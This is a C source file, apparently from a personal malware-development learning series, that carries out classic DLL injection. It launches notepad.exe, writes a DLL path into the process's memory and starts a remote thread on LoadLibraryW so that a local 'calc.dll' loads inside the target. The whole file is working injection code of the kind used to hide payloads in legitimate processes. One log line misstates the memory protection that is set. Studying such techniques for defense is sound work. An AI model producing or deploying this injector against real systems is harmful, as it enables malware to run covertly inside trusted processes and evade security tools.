25-DLLInjection

#include <Windows.h>
#include <stdio.h>

const char* k = "[+]";
const char* i = "[*]";
const char* e = "[-]";

DWORD PID,TID;
LPVOID rBuffer = NULL;
HMODULE hKernel32 = NULL;
HANDLE hProcess, hThread = NULL;
int processID;

	wchar_t dllPath[MAX_PATH] = L"C:\\Users\\upadh\\OneDrive\\Desktop\\MalDev\\LEVEL0-NOOB\\25-DLLInjection\\DLLInjection\\calc.dll";
size_t dllPathSize = sizeof(dllPath);

int main(int argc, char* argv[]) {
	STARTUPINFOW si = {0};
	PROCESS_INFORMATION pi = {0};
	if(!CreateProcessW(
		L"C:\\Windows\\System32\\notepad.exe",
		NULL,
		NULL,
		NULL,
		FALSE,
		BELOW_NORMAL_PRIORITY_CLASS,
		NULL,
		NULL,
		&si,
		&pi)) { 
			printf("Falied To create a process %ld",GetLastError());
		}
		else {
		printf("Process Created - PID %ld", pi.dwProcessId);
		processID = pi.dwProcessId;
		}

	// if (argc < 2) {
	// 	printf("%s Usage: program.exe <PID>", e);
	// 	return 1;
	// }
	// PID = atoi(argv[1]); // string to integer;
	PID = processID;
	printf("%s trying to open a handle to process (%ld)\n", i, PID);
	
	// open a handle to the process

	hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
	printf("%s got a handle to the process\n\\---0x%p\n",k, hProcess);

	if(hProcess == NULL) { 
		printf("%s couldn't get a handle to the process (%ld), error: %ld",e, PID, GetLastError());
		return 1;
	}

	// Allocates bytes to process memory.
	rBuffer = VirtualAllocEx(hProcess, NULL, dllPathSize,(MEM_COMMIT | MEM_RESERVE), PAGE_READWRITE);
	printf("%s allocated %zu-bytes with PAGE_EXECUTE_READWRITE permissions",k,dllPathSize);

	// Actually write that allowed memory to the process memory.

    if (rBuffer == NULL) { 
        printf("%s couldn't create rBuffer, error: %ld", e, GetLastError());
        return 1;
    }
	WriteProcessMemory(hProcess, rBuffer,dllPath, dllPathSize, NULL);
	printf("%s wrote %zu-bytes to process memory\n",k,dllPath);

    hKernel32 = GetModuleHandleW(L"Kernel32");

    if(hKernel32 == NULL) { 
        printf("%s failed to get a handle to kernel32.dll, error: %ld", e, GetLastError());
        CloseHandle(hProcess);
        return 1;
    }
    printf("%s got a handle to Kernel32.dll\n\\--0x%p\n",k,hKernel32);
    LPTHREAD_START_ROUTINE startThis = (LPTHREAD_START_ROUTINE)GetProcAddress(hKernel32,"LoadLibraryW");
	// Create thread to run our payload
	hThread = CreateRemoteThreadEx(hProcess, NULL, 0, startThis,rBuffer,0,0,&TID);
	
	if (hThread == NULL) { 
		printf("%s failed to get a handle to the thred, error: %ld", e, GetLastError());
		CloseHandle(hProcess);
		return 1;
	}

	printf("%s got a handle to the thread (%ld)\n\\---0x%p\n",k,TID,hThread);

	printf("%s waitintg for the thread to finish\n",i);
	WaitForSingleObject(hThread, INFINITE); // waits for thread to be comepleted
	printf("%s thread finished executing\n",k);
	

	printf("%s cleaning up\n",i);
	CloseHandle(hThread);
	CloseHandle(hProcess);
	printf("%s Finished!\n",i);
	
	return 0;
	
}